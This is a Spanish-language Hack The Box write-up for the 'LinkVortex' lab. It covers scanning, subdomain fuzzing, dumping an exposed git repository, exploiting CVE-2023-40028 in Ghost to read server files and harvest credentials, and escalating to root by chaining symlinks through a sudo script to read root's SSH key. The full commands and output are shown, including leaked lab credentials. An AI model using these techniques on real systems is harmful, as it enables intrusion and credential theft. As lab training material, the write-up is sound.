Table of Contents
Hack The Box: LinkVortex Writeup
Welcome to my detailed writeup of the easy difficulty machine “LinkVortex” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1rustscan -a 10.129.112.131 --ulimit 5000 -g
210.129.112.131 -> [22,80]
1nmap -p22,80 -sCV 10.129.112.131 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-13 12:51 CET
3Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
4NSE Timing: About 93.75% done; ETC: 12:51 (0:00:00 remaining)
5Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
6NSE Timing: About 93.75% done; ETC: 12:51 (0:00:00 remaining)
7Nmap scan report for 10.129.112.131
8Host is up (0.036s latency).
9
10PORT STATE SERVICE VERSION
1122/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
12| ssh-hostkey:
13| 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
14|_ 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
1580/tcp open http Apache httpd
16|_http-server-header: Apache
17|_http-title: Did not follow redirect to http://linkvortex.htb/
18Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
19
20Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
21Nmap done: 1 IP address (1 host up) scanned in 8.13 second
UDP Enumeration
1sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.112.131 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-13 12:52 CET
3Nmap scan report for 10.129.112.131
4Host is up (0.037s latency).
5Not shown: 1495 open|filtered udp ports (no-response)
6PORT STATE SERVICE
769/udp closed tftp
81885/udp closed vrtstrapserver
920031/udp closed bakbonenetvault
1022505/udp closed unknown
1123354/udp closed unknown
12
13Nmap done: 1 IP address (1 host up) scanned in 0.89 seconds
Del escaneo inicial encontramos el dominio linkvortex.htb
, lo añadimos al /etc/hosts
Como no encontramos nada mas relevante por ahora, vamos a enumerar el servicio web ya que la versión de OpenSSH no tiene vulnerabilidades actualmente.
HTTP Enumeration
whatweb
nos reporta algo extraño, parece que se está utilizando algo llamado Ghost 5.58
1whatweb http://linkvortex.htb
2http://linkvortex.htb [200 OK] Apache, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache], IP[10.129.112.131], JQuery[3.5.1], MetaGenerator[Ghost 5.58], Open-Graph-Protocol[website], PoweredBy[Ghost,a], Script[application/ld+json], Title[BitByBit Hardware], X-Powered-By[Express], X-UA-Compatible[IE=edge]
Una búsqueda en Google revela que Ghost
es un proyecto de código abierto para hacerte un blog.
CVE-2023-40028 (Arbitrary File Read)
Buscando por vulnerabilidades conocidas vemos que parece que existe una vulnerabilidad para poder leer archivos internos de la máquina.
Vamos a clonarnos el repositorio de la prueba de concepto
1git clone https://github.com/0xyassine/CVE-2023-40028/
2Cloning into 'CVE-2023-40028'...
3remote: Enumerating objects: 7, done.
4remote: Counting objects: 100% (7/7), done.
5remote: Compressing objects: 100% (7/7), done.
6remote: Total 7 (delta 1), reused 4 (delta 0), pack-reused 0 (from 0)
7Receiving objects: 100% (7/7), done.
8Resolving deltas: 100% (1/1), done.
Revisando el código, primero tenemos que tener credenciales válidas de administrador o un usuario con permisos, en resumen, mediante la creación de un archivo ZIP que contiene un enlace simbólico apuntando al archivo objetivo, el atacante puede engañar a la API de Ghost para que procese el ZIP como si fuera un archivo legítimo. Esto expone el contenido del archivo enlazado a través de un endpoint público, comprometiendo potencialmente información sensible almacenada en el servidor.
Entonces, primero tenemos que saber que el panel de autenticación está en /ghost
.
También podemos saber que existe un usuario admin
, pero no sabemos su correo electrónico asociado, podríamos probar el email admin@linkvortex.htb
y recorrer el diccionario del rockyou.txt
con hydra
, o crear un diccionario personalizado basado el posts de este usuario con cewl
, pero lo veo muy tedioso para una máquina fácil, así que primero vamos a enumerar el sitio web.
Con feroxbuster
no encontramos ningún recurso interesante.
1feroxbuster -u http://linkvortex.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100
Buscando archivos con extensiones tampoco encontramos nada interesante.
1feroxbuster -u http://linkvortex.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100 -x php,html,txt,bk,gz,zip,js
Subdomain exposed git repository (git-dumper)
Fuzzeando por subdominios con wfuzz
encontramos uno interesante, dev.linkvortex.htb
, lo añadimos al /etc/hosts
1wfuzz --hh=230 -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H 'Host: FUZZ.linkvortex.htb' http://linkvortex.htb
2 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
3********************************************************
4* Wfuzz 3.1.0 - The Web Fuzzer *
5********************************************************
6
7Target: http://linkvortex.htb/
8Total requests: 114441
9
10=====================================================================
11ID Response Lines Word Chars Payload
12=====================================================================
13
14000000019: 200 115 L 255 W 2538 Ch "dev"
Vemos que es una web que en principio, no está activa.
Fuzzeando por recursos, encontramos un recurso interesante, /.git
1feroxbuster -u http://dev.linkvortex.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -d 1 -t 100
2
3 ___ ___ __ __ __ __ __ ___
4|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
5| |___ | \ | \ | \__, \__/ / \ | |__/ |___
6by Ben "epi" Risher 🤓 ver: 2.10.3
7───────────────────────────┬──────────────────────
8 🎯 Target Url │ http://dev.linkvortex.htb
9 🚀 Threads │ 100
10 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
11 👌 Status Codes │ All Status Codes!
12 💥 Timeout (secs) │ 7
13 🦡 User-Agent │ feroxbuster/2.10.3
14 💉 Config File │ /etc/feroxbuster/ferox-config.toml
15 🔎 Extract Links │ true
16 🏁 HTTP methods │ [GET]
17 🔃 Recursion Depth │ 1
18 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
19───────────────────────────┴──────────────────────
20 🏁 Press [ENTER] to use the Scan Management Menu™
21──────────────────────────────────────────────────
22404 GET 7l 23w 196c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
23403 GET 7l 20w 199c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
24200 GET 115l 255w 2538c http://dev.linkvortex.htb/
25301 GET 7l 20w 239c http://dev.linkvortex.htb/.git => http://dev.linkvortex.htb/.git/
En estos casos, si está completamente expuesto el repositorio del proyecto, podríamos con git-dumper
recuperar el proyecto en si y analizar el código fuente en busca de algo interesante.
1git-dumper http://dev.linkvortex.htb/.git/ dev.linkvortex.htb
2[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
3[-] Testing http://dev.linkvortex.htb/.git/ [200]
4[-] Fetching .git recursively
5[-] Fetching http://dev.linkvortex.htb/.git/ [200]
6[-] Fetching http://dev.linkvortex.htb/.gitignore [404]
7[-] http://dev.linkvortex.htb/.gitignore responded with status code 404
8[-] Fetching http://dev.linkvortex.htb/.git/refs/ [200]
9[-] Fetching http://dev.linkvortex.htb/.git/description [200]
10...
11[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.pack [200]
12[-] Running git checkout .
13Updated 5596 paths from the index
Y podemos ver que hemos recuperado el código fuente de la aplicación que tiene pinta de que es el blog hosteado en el dominio principal.
1➜ dev.linkvortex.htb git:(v5.58.0) ✗ ls
2apps Dockerfile.ghost ghost LICENSE nx.json package.json PRIVACY.md README.md SECURITY.md yarn.lock
Investigando un poco, Ghost
utiliza knex
que es una librería para construir sentencias SQL, una especie de ORM, en knex
tienes que pasar las credenciales de la base de datos a un archivo de configuración en javascript.
Analizando el código fuente vemos que se incluyen archivos de configuración para la conexión a la base de datos en ghost/core/server/config/
Igualmente, viendo el código fuente del proyecto actual, vemos que se encontraría en ghost/core/core/shared/config
Dentro encontramos una carpeta env
con varios archivos de configuración del proyecto.
1config git:(v5.58.0) ✗ ls
2defaults.json env helpers.js index.js loader.js overrides.json utils.js
3➜ config git:(v5.58.0) ✗ cd env
4➜ env git:(v5.58.0) ✗ ls
5config.development.json config.production.json config.testing-browser.json config.testing.json config.testing-mysql.json
Y no encontramos nada interesante…
En VSCode
existe una extensión muy popular llamada Snyk
, esta extensión permite monitorizar el código para buscar vulnerabilidades, es una especie de SAST pero bastante ligero.
Una vez importado el proyecto, podemos esperar un momento para que se analice todo el código de la aplicación y si analizamos los resultados encontramos un archivo llamado authentication.test.js
en ghost/core/test/regression/api/admin/authentication.test.js
que contiene pruebas de autenticación de usuarios, contiene algunas credenciales hardcodeadas como:
- OctopiFociPilfer45
- thisissupersafe
- lel123456
- 12345678910
Probando el combo admin@linkvortex.htb:OctopiFociPilfer45
vemos que ganamos acceso al panel administrativo.
Entonces, ahora, vamos a abrir el script que nos habíamos clonado antes para modificar la URL del Ghost
al que nos estamos enfrentando.
Y vemos que la vulnerabilidad se acontece y efectivamente podemos leer archivos del sistema.
1./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
2WELCOME TO THE CVE-2023-40028 SHELL
3file> /etc/passwd
4root:x:0:0:root:/root:/bin/bash
5daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
6bin:x:2:2:bin:/bin:/usr/sbin/nologin
7sys:x:3:3:sys:/dev:/usr/sbin/nologin
8sync:x:4:65534:sync:/bin:/bin/sync
9games:x:5:60:games:/usr/games:/usr/sbin/nologin
10man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
11lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
12mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
13news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
14uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
15proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
16www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
17backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
18list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
19irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
20gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
21nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
22_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
23node:x:1000:1000::/home/node:/bin/bash
Vemos que existe un usuario node
pero no podemos acceder a sus ficheros.
Por ahora no encuentro el archivo config.production.json
que es el que hemos visto antes, quizás ahora si que se estén utilizando credenciales de acceso a la base de datos.
1file> /var/www/ghost/core/core/shared/config/env/config.production.json
2<!DOCTYPE html>
3<html lang="en">
4<head>
5<meta charset="utf-8">
6<title>Error</title>
7</head>
8<body>
9<pre>Not Found</pre>
10</body>
11</html>
12file> /var/www/html/core/core/shared/config/env/config.production.json
13<!DOCTYPE html>
14<html lang="en">
15<head>
16<meta charset="utf-8">
17<title>Error</title>
18</head>
19<body>
20<pre>Not Found</pre>
21</body>
22</html>
No tengo ni idea de donde estará este archivo, así que vamos a investigar un poco, podemos deducir que se está utilizando docker ya que en el código del proyecto hemos visto un Dockerfile.ghost
y esto es vital porque este archivo nos revela que el archivo de configuración se debería encontrar en /var/lib/ghost/config.production.json
1cat -p Dockerfile.ghost
2FROM ghost:5.58.0
3
4# Copy the config
5COPY config.production.json /var/lib/ghost/config.production.json
6
7# Prevent installing packages
8RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb
9
10# Wait for the db to be ready first
11COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
12COPY entry.sh /entry.sh
13RUN chmod +x /var/lib/ghost/wait-for-it.sh
14RUN chmod +x /entry.sh
15
16ENTRYPOINT ["/entry.sh"]
17CMD ["node", "current/index.js"]
Y ahora sí, encontramos unas credenciales de un usuario llamado bob
para SMTP.
1./CVE-2023-40028.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
2WELCOME TO THE CVE-2023-40028 SHELL
3file> /var/lib/ghost/config.production.json
4{
5 "url": "http://localhost:2368",
6 "server": {
7 "port": 2368,
8 "host": "::"
9 },
10 "mail": {
11 "transport": "Direct"
12 },
13 "logging": {
14 "transports": ["stdout"]
15 },
16 "process": "systemd",
17 "paths": {
18 "contentPath": "/var/lib/ghost/content"
19 },
20 "spam": {
21 "user_login": {
22 "minWait": 1,
23 "maxWait": 604800000,
24 "freeRetries": 5000
25 }
26 },
27 "mail": {
28 "transport": "SMTP",
29 "options": {
30 "service": "Google",
31 "host": "linkvortex.htb",
32 "port": 587,
33 "auth": {
34 "user": "bob@linkvortex.htb",
35 "pass": "fibber-talented-worth"
36 }
37 }
38 }
39}
Podemos probar el combo bob:fibber-talented-worth
por SSH para ver si se reutilizan credenciales, y efectivamente.
1sshpass -p 'fibber-talented-worth' ssh bob@10.129.112.131
2Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
3
4 * Documentation: https://help.ubuntu.com
5 * Management: https://landscape.canonical.com
6 * Support: https://ubuntu.com/pro
7
8This system has been minimized by removing packages and content that are
9not required on a system that users do not log into.
10
11To restore this content, you can run the 'unminimize' command.
12Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
13
14Last login: Fri Dec 13 12:59:56 2024 from 10.10.14.197
15bob@linkvortex:~$ id
16uid=1001(bob) gid=1001(bob) groups=1001(bob)
Estamos en la máquina víctima, no en un contenedor.
1bob@linkvortex:~$ ip a | grep eth0
22: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
3 inet 10.129.112.131/16 brd 10.129.255.255 scope global dynamic eth0
Podemos leer la flag de usuario.
1bob@linkvortex:~$ cat user.txt
2b79c313340e06e...
Privilege Escalation
Abusing sudo custom script
Podemos ejecutar como cualquier usuario y sin contraseña un script y como parámetro le podemos pasar un archivo png.
1bob@linkvortex:~$ sudo -l
2Matching Defaults entries for bob on linkvortex:
3 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, env_keep+=CHECK_CONTENT
4
5User bob may run the following commands on linkvortex:
6 (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
Este archivo es de root
y no tenemos permiso para editarlo.
1ls -la /opt/ghost/clean_symlink.sh
2-rwxr--r-- 1 root root 745 Nov 1 08:46 /opt/ghost/clean_symlink.sh
Este es el script.
1#!/bin/bash
2
3QUAR_DIR="/var/quarantined"
4
5if [ -z $CHECK_CONTENT ];then
6 CHECK_CONTENT=false
7fi
8
9LINK=$1
10
11if ! [[ "$LINK" =~ \.png$ ]]; then
12 /usr/bin/echo "! First argument must be a png file !"
13 exit 2
14fi
15
16if /usr/bin/sudo /usr/bin/test -L $LINK;then
17 LINK_NAME=$(/usr/bin/basename $LINK)
18 LINK_TARGET=$(/usr/bin/readlink $LINK)
19 if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
20 /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
21 /usr/bin/unlink $LINK
22 else
23 /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
24 /usr/bin/mv $LINK $QUAR_DIR/
25 if $CHECK_CONTENT;then
26 /usr/bin/echo "Content:"
27 /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
28 fi
29 fi
30fi
El script gestiona archivos .png
que sean enlaces simbólicos, verificando si apuntan a rutas críticas como /etc
o /root
. Si detecta un intento de acceso a estas rutas, elimina el enlace simbólico para proteger el sistema. En caso contrario, mueve el enlace a un directorio de cuarentena (/var/quarantined
) y, si la variable CHECK_CONTENT
está activada, muestra el contenido del archivo al que apuntaba el enlace. Esto lo convierte en una herramienta de mitigación básica contra posibles accesos indebidos mediante enlaces simbólicos maliciosos.
En principio, nosotros controlamos la variable CHECK_CONTENT
, por lo cual vamos a “settearla” a verdadero.
1bob@linkvortex:~$ export CHECK_CONTENT=true
Esto hará que el script intente leer el archivo, por lo cual nos da la posibilidad de leer archivos internos.
1if $CHECK_CONTENT;then
2 /usr/bin/echo "Content:"
3 /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
4 fi
Entonces, ahora solo falta saltarnos esta comprobación:
1if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)'; then /usr/bin/unlink $LINK
Y es fácil, ya que el script elimina el enlace si detecta que apunta a una ruta crítica como /etc
o /root
, pero podemos crear un enlace indirecto, de esta forma el script no va a poder detectar la ruta crítica directamente y vamos a poder leer el contenido.
1bob@linkvortex:~$ mkdir -p /tmp/pointed
2bob@linkvortex:~$ ln -s /root/.ssh/id_rsa /tmp/pointed/id_rsa
3bob@linkvortex:~$ ln -s /tmp/pointed/id_rsa exploit.png
Creamos un directorio en /tmp
donde vamos a crear un enlace simbólico apuntando a la clave privada de root
(si tiene), y luego vamos a crear otro enlace simbólico hacia en enlace que ya habíamos hecho y lo vamos a guardar como exploit.png
, entonces el script va a detectar que existe un enlace a /tmp/pointed/id_rsa
pero no que este archivo es un enlace a la clave privada de root
ya que no hace la comprobación recursivamente.
1bob@linkvortex:~$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh exploit.png
2Link found [ exploit.png ] , moving it to quarantine
3Content:
4-----BEGIN OPENSSH PRIVATE KEY-----
5b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
6NhAAAAAwEAAQAAAYEAmpHVhV11MW7eGt9WeJ23rVuqlWnMpF+FclWYwp4SACcAilZdOF8T
7q2egYfeMmgI9IoM0DdyDKS4vG+lIoWo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yu+9qlPVrj36DmLHr2H9yHa7PZ34yRfoy
38+UylRlepPz7Rw+vhGeQKuQJfkFwR/yaS7Cgy2UyM025EEtEeU3z5irLA2xlocPFijw4gUc
39xmo6eXMvU90HVbakUoRspYWISr51uVEvIDuNcZUJlseINXimZkrkD40QTMrYJc9slj9wkA
40ICLgLxRR4sAx0AAAAPcm9vdEBsaW5rdm9ydGV4AQIDBA==
41-----END OPENSSH PRIVATE KEY-----
Y podemos comprobar que funciona y que además root
tiene una clave privada, ahora podemos guardar esta clave privada en un fichero y darle los permisos necesarios.
1chmod 600 id_rsa
Y ya podemos autenticarnos como root
por SSH utilizando su clave privada.
1ssh root@10.129.112.131 -i id_rsa
2Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)
3
4 * Documentation: https://help.ubuntu.com
5 * Management: https://landscape.canonical.com
6 * Support: https://ubuntu.com/pro
7
8This system has been minimized by removing packages and content that are
9not required on a system that users do not log into.
10
11To restore this content, you can run the 'unminimize' command.
12Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
13
14Last login: Mon Dec 2 11:20:43 2024 from 10.10.14.61
15root@linkvortex:~# id
16uid=0(root) gid=0(root) groups=0(root)
Podemos leer la flag de root.
1root@linkvortex:~# cat root.txt
2b44e1fbd2075...
¡Y ya estaría!
Happy Hacking! 🚀
#HackTheBox #LinkVortex #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #RCE #Exploit #Linux #CVE-2023-40028 #Arbitrary File Read #HTTP Enumeration #Exposed Git Repository #Git-Dumper #Information Disclosure #Reading Plaintext Credentials #Credentials Reuse #Abusing Sudo Custom Script #Abusing Indirect Symbolic Link #Bash Scripting